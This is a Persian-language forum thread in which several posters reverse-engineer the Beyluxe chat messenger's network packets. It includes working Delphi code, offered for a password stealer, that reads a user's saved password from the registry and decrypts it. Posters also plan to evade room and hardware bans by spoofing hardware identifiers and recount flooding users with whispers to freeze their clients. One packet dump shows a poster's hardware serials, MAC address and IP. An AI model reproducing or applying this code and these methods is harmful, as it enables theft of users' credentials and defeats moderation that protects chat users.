ارسال پکت به جای برنامه دیگه

[PouriaAmid]

اما بعد از درخواست ورود به يک روم، از طرف سرور آيپی و پورت جديدی ارسال ميشه که برای ورود به اون روم بايد به اون آيپی و پورت کانکت شد(پورت تو پکت مشخص نيست)

هر رومی يه پورت مشخص داره که اينجور که معلومه ثابت ميمونه، البته نميدونم بعد از بسته شدن روم هنوز هم پرت ثابت هستش يا نه.
اگه ثابت باشه که ميشه يه ليست گرفت.

واسه پورت هم تا اونجا که من فهميدم اسم روم رو ميفرسته واسه server و ip و port رو ميگيره
فقط معلوم نيست که چرا فقط port رو دکد کرده ولی ip رو نه

Get Room List

کد:

CH.....à."MUZICA PENTRU SUFLET!!!!",G,0,4,0,":X:X:X = MuziK = VorbE = Dystractye :X:X:X",G,0,6,0,"<<<<< RoMaNiA MuSic Party >>>>>",G,0,13,0,"RATONASII",G,0,3,0,"<<<<<Romania Music Party - Fabrica De Hoituri>>>>>",G,0,7,0.

join request:

کد:

CH....,t.........ì-.<áê.^áê.....ä..<<<<< RoMaNiA MuSic Party >>>>>.ê."..........."...èû..Tq@.ä..."....þ.. ¾".€§P.

response : room ip & port

کد:

CH.....ˆ..........S ..<<<<< RoMaNiA MuSic Party >>>>>.4306794283466754394354752354193603293131208520TRLOxCpPdJICViH.91.205.41.53.....

[mohamadpk]

وقتی که برنامه رو پچ ميکنی بعد از لاگين شدن خودش رو update ميکنه يا چند وقت بعد؟

نه بعد از لوگین شدن. وقتی admin می فهمه . یه ورژن جدید میده. و اون قبلی از کار میوفته . و وقتی می خوای لوگین کنی یه مسج باکس باز میشه که می گه این ورژن از کار افتاده و ورژن جدید رو برید دانلود کنید. خیلی خنده داره حتی شده بود تو یه هفته 2 بار تغیر ورژن داد.

اينجا هم مثل پلتالک اگه ادمين offline بشه روم بسته ميشه يا نه؟

آره admin روم وقتی بره روم هم رفته.

ميتونی خودت يه روم بزنی با چند تا user تست، ببين وقتی که کسی رو بن يا انبن ميکنی چه پکتی به کجا فرستاده ميشه
يه زمانی مثلاً همين pal واسه انبن کردن فقط يه string ميفرستاد. اگه اينم اينجوری باشه ( که جای تعجب نيست، خيلی ا فکر ميکنن چون کد رو کسی نميبينه همه چيز در امن و امانه) فقط کافيه اين پکت رو پيدا کنی

آره میریم روم می زنیم . حتی برای ورود به روم میشه رمز گذاشت.

یه چیز جالب مثلا وقتی admin روم . می خواد هیشکی تایپ نکنه. قسمت نوشتن پیام enabele توش false میشه.
من وقتی می گم این بیشتر کار هاش رو روی کلاینت می کنه دلیل دارم. مثلا وقتی یه بوتر نوشتم که ویسپر میفرستاد تا طرف بوت بشه. رفتن یه کد ازافه کردن به کلاینت که اگر 10 تا ویسپر ارسال کردی پنجره ویسپر بسته بشه. خیلی وسخره بود که با دو تا خط کد که میرفت از تو منو پنجره ویسپر رو باز می کرد دور زده شد.
که جالبیش اینه که خود admin کل مسنجر هم باهاش بوت شد.(خنده). رفت یه 15 دقیقه دیگه اومد . چون کلا تو هنگ بود.


یه چیز دیگه برنامه نویسش اصلا فکر پهنای باند نبوده . نه پهنای باند سرور نه کلاینت. چون اگر دقت کنید هر چند دقیقه یک بار بدون اینکه بری و بخوای وارد روم بشی. هی لیست روم هارو در خواست می کنه. سرور بد بخت هم هی ارسال می کنه.

خلاصه کلی سوراخ سنبه داره.

[CRazYFULL]

هر رومی يه پورت مشخص داره که اينجور که معلومه ثابت ميمونه، البته نميدونم بعد از بسته شدن روم هنوز هم پرت ثابت هستش يا نه.
اگه ثابت باشه که ميشه يه ليست گرفت.

هر بار که روم از طرف ادمين باز ميشه يه پورت برای روم اختصاص داده ميشه و تا بستن روم ثابت ميمونه, برای هميشه ثابت نيست


بعد از Red شدن از طرف ادمين روم، يه پکت برای همه آيدی های روم فرستاده ميشه و مسنجر بعد از گرفتن پکت red کنار آيدی رد شده يه علامت قرمز قرار ميده،
من فکر ميکنم هر بار که کسی داخل روم تکست ميکنه مسنجر قبل از اينکه پيغام رو نمايش بده چک ميکنه که user قبلاً رد بوده و بعد پيغام رو نمايش ميده
اگه اينطور باشه راهی برای دور زدنش نيست

و در مورد بانس، بعد از بانس شدن پکتی برای مسنجر فرستاده ميشه و بلا فاصله سوکت بسته ميشه و سرور روم ديگه به درخواست ها پاسخ نميده

[lord_viper]

byluxe یه سیستم چت کلاینت هست شبیه paltalk یوزر + سریال هارد یه کلید میسازه برای کد کردن پسورد و اونو تو رجیستری ذخیره میکنه

این هم کد دیکریپت برای Pass Stealerش

کد:

function VolumeSerialWindows: string;
var
  Drive: string;
  Buf: array [0..512] of char;
  VolumeSerialNumber : DWORD;
  MaximumComponentLength : DWORD;
  FileSystemFlags : DWORD;
  SerialNumber : string;
begin
  Result:='';
  GetWindowsDirectory(Buf,512);
  Drive := LeftStr(ExtractFileDrive(Buf),1)+':\';
  GetVolumeInformation(Pchar(Drive),nil,0,@VolumeSerialNumber,MaximumComponentLength,FileSystemFlags,nil,0) ;
  SerialNumber := IntToHex(HiWord(VolumeSerialNumber),4)+IntToHex(loword(VolumeSerialNumber),4);
  Result := SerialNumber;
end;

function BeyluxeDecodePWS(Var user,HashPass:string):String;
var
  volSerial,tmpCommix,tmpPSW,tmpDec,tmpString,TPS:String;
  i:integer;
begin
  if (Length(User) < 1)  or (Length(HashPass) < 1) then
  begin
   Result := HashPass;
   Exit;
  end;
  VolSerial := VolumeSerialWindows;
  TPS := HashPass;
  while (Length(User)+Length(VolSerial)>0) do
  begin
    if Length(User)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(User,1);
      Delete(User,1,1);
    end;
    if Length(VolSerial)>0 then
    begin
      tmpCommix := tmpCommix + LeftStr(VolSerial,1);
      Delete(VolSerial,1,1);
    end;
  end;

  while Length(TmpString) <= (Length(HashPass)/3) do
    TmpString :=  TmpString + tmpCommix;

  i:=1;
  while Length(HashPass) > 0 do
  begin
    try
      tmpdec := Copy(HashPass,1,3);
      tmpPSW := tmpPSW + chr(StrToInt(tmpDec) - (ord(TmpString[i])xor 4) - $74) ;
    except
    end;
   Delete(TmpString,1,1);
   Delete(HashPass,1,3);
  end;
  Result:=  tmpPSW;
end;

شیوه استفاده

کد:

var
  Reg: TRegistry;
  User, HashPass: String;
begin
User:= 'SomeNickName'; // You could get user names from registry
  Reg := TRegistry.Create;
  Reg.OpenKey('\Software\Beyluxe Messenger\' + User ,False);
  HashPass := Reg.ReadString('Password');
  Reg.CloseKey;
  Reg.Free;
  Edit1.Text:= BeyluxeDecodePWS(User,HashPass);

[PouriaAmid]

مرسی
ولی مشکل گرفتن پسورد نيست، مشکل طريقه ی بن يا انبن شدن توی رومه
هر بار که online ميشی يه پکت ميفرسته که نسبت به hardware تغيير ميکنه، و از همين هم واسه بن کردن استفاده ميکنه. و user هم توش نقشی نداره.
اينم نمونه پکت:

کد:

CH....QÉ.ôƒ.> 104,113,98,103,70,101,94,105,109,104,105,69,104,113,98,103,69,105,136,142,139,130,122,69,73,73,73,73,73,79,93,81,73,73,73,73,73,81,74,79,73,73,73,73,73,74,81,73,90,95,94,82,95,91,95,95,69.

منم فکر ميکنه که بن بودن يا نبودن رو server گزارش ميکنه، فقط بايد ديد که نتيجه ی اين گزارش چی ميشه.
مثلاً ممکنه که سرور اعلام کنه که طرف بن شده و client فقط قسمت تکست زدن رو از کار بندازه.
برنامه client يه کيس داره واسه وارد شدن به روم که اگه server گفت بن شدی نتونی وارد بشی. حالا اگه اين دستور رو عوض کنيم چی؟
اينجا بايد ديد که server باز هم کنترل ميکنه وارد شدن رو يا اينکه فقط client کنترل ميکنه.
اگه client اين ا رو کنترل ميکنه که بايد بريم سراغ پچ کردن client به پکت هم نيازی نداريم اگر هم نه که پيچيده تر از اين حرفا ميشه

[mohamadpk]

آخرین پکتی که از سرور میاد واسه کلاینت برای هر بار لوگین یه چیزی شبیه اینه

کد:

CH....3B.........mohamadpk..................................,,,,,.CH.....#.m.o.h.a.m.a.d.p.k.,.1.,...CH.......mohamadpk..t.e. .U.s.e.r.s. .S.e.....L.a.s.t.H.D.D.S.e.r.i.a.l.=.'.5.V.P.3.Y.Y.L.2.'.,.L.a.s.t.M.a.c.1.=.'.0.0.-.1.C.-.D.2.-.1.0.-.1.9.-.7.8.'.,.L.a.s.t.M.a.c.2.=.'.'.,.L.a.s.t.M.a.c.3.=.'.'.,.L.a.s.t.V.o.l.u.m.e.S.e.r.i.a.l.=.'.7.0.9.E.-.9.D.9.5.'.,.O.S.I.n.s.t.a.l.T.i.m.e.=.1.2.7.0.1.2.2.8.2.1.,.L.a.s.t.I.P.=.'.7.9...1.2.7...7...1.0.9.'.,.L.a.s.t.L.o.g.i.n.T.i.m.e.=.'.6./.1.0./.2.0.1.0. .1.2.:.0.0.:.0.0. .P.M.'.,.H.W.I.D.=.0.,.C.o.m.p.u.t.e.r.N.a.m.e.=.'.P.K.'.,.I.M.N.i.c.k.N.a.m.e.=.'.w...b.u.s.h._.e.s.a.y.'.,.W.i.n.L.o.g.g.e.d.I.n.U.s.e.r.N.a.m.e.=.'.M.o.h.a.m.a.d...P.K.'.,.R.e.g.i.s.t.e.r.e.d.O.w.n.e.r.=.'.m.o.h.a.m.a.d.'.,.B.i.o.s.I.n.f.o.=.'.S.y.s.t.e.m. .m.a.n.u.f.a.c.t.u.r.e.r.E.0. .5.9. .E.1. .A.8. .8.D. .F.E. .D.5. .1.1. .9.E. .E.7. .0.0. .1.B. .F.C. .3.7. .0.F. .8.C. .0.0.0.0.0.F.6.5.0.1.0.2.0.8.0.0.0.0.0.0.E.5.9.D.B.F.E.B.F.B.F.F.'.,.B.e.y.l.u.x.e.U.U.I.D.=.'.q.U.Q.V.d.a.q.G.w.q.E.B.O.d.c.b.A.t.p.q.V.h.M.d.u.U.M.Y.T.a.m.J.'. .w.h.e.r.e. .U.s.e.r.N.a.m.e.=.'.m.o.h.a.m.a.d.p.k.'.........ZI......eq...3_`..uR..0CH....

یعنی اولین باری که کانکت شدی این ها که اطلاعات سخت افزاری شماست به سرور فرستاده شده. وقتی که این اطلاعات میاد واسه کلاینت اون موقع کلاینت تغیر اینها رو تست می کنه و اگر تغیر کرده بود خبر میده به سرور و اطلاعات جدید جاش رو با اطلاعات قبلی تا data base عوض می کنه. از این پکت و اطلاعات سخت افزار برای بن کردن استفاده میکنه.

یعنی یه مثال می زنیم. شما الان بن شدی . هم id شما بن شده. هم سخت افزارتون . این id رو از هر جای دیگه لوگین کنی سخت افزار اون هم بن میشه.به این قسمت کاری نداریم میریم سراغ مثال خودمون. وقتی شما بن شدی id لوگین نمیشه. میری یه id جدید می سازی . در زمان ساخت یا در زمان لوگین اطلاعات سخت افزاری شما چون id شما جدید هست یک بار ارسال میشه. کاملا مثل همون پکتی که از سرور تو id قبلی میومد. ولی این بار ارسال میشه. خوب . حالا که ارسال شد سرور می بینه که این id از کامپیوتری با سخت افزاری میاد که بن شده. پس id جدید هم بن میشه.

ما باید زمانی که برنامه برای id جدید اولین بار اطلاعات سخت افزاری رو ارسال می کنه اون رو رندوم کنیم. و باز هم هر بار چون ما اولین بار رندوم زدیم با دفعه بعدی فرق می کنه پس همیشه مثل دفعه اول برنامه میاد و پکت اطلاعات سخت افزاری رو که تغیر کرده میفرسته به سرور پس ما باید دوباره یعنی برای هر بار لوگین این اطلاعات رو رندوم کنیم.

[tak-fanar]

دوست عزیز ByLuxHostPatcher.zip کار نمیده اگه امکانش هست سورس اونم بزار من نتونستم داخل فایل ByLux تغییر بدم!